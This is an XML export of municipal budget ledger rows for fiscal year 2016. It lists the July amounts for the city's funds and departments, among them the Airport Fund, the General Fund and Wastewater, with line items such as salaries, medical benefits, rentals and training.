<row _id="20038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>463163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>463163</total></row>
<row _id="20039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>165139</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>165139</total></row>
<row _id="20040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20648</total></row>
<row _id="20041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12240</total></row>
<row _id="20042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401662.0</object><object_description>ASSFC PASS-THRU</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="20043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407480.0</object><object_description>AIRPORT PARK DROP IN PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-6200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6200</total></row>
<row _id="20044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10384</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10384</total></row>
<row _id="20045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>288716</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288716</total></row>
<row _id="20046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402120.0</object><object_description>AIRPORT - OFFICE / SHOP RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5492762</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5492762</total></row>
<row _id="20047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>121008</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>121008</total></row>
<row _id="20048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2093</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2093</total></row>
<row _id="20049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="20050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>77317</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>77317</total></row>
<row _id="20051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19215</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19215</total></row>
<row _id="20052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>42339</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42339</total></row>
<row _id="20053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21363</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21363</total></row>
<row _id="20054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6106</total></row>
<row _id="20055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>233732</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>233732</total></row>
<row _id="20057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5507</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5507</total></row>
<row _id="20058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401490.0</object><object_description>RECYCLE LEASE RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-130100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-130100</total></row>
<row _id="20059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-127000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-127000</total></row>
<row _id="20060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="20061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>27231</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27231</total></row>
<row _id="20063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17587</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17587</total></row>
<row _id="20064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>631672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>631672</total></row>
<row _id="20065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>651</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>651</total></row>
<row _id="20066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26480</total></row>
<row _id="20067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5676</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5676</total></row>
<row _id="20068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="20069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555121.0</object><object_description>ASSFC PASS-THRU</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>207672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>207672</total></row>
<row _id="20070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8048</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8048</total></row>
<row _id="20071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16631</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16631</total></row>
<row _id="20072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45325</total></row>
<row _id="20074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>974</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>974</total></row>
<row _id="20075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1744</total></row>
<row _id="20076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566640.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>55200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55200</total></row>
<row _id="20077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544860.0</object><object_description>SUMMER FOOD SERVICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24116</total></row>
<row _id="20078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8627</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8627</total></row>
<row _id="20079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402140.0</object><object_description>AIRPORT - TIE DOWN CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-119371</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-119371</total></row>
<row _id="20080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402163.0</object><object_description>PARKING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-58782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-58782</total></row>
<row _id="20081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1447</total></row>
<row _id="20083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1044</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1044</total></row>
<row _id="20084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3347</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3347</total></row>
<row _id="20085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>354214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>354214</total></row>
<row _id="20086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1588</total></row>
<row _id="20087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70699</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70699</total></row>
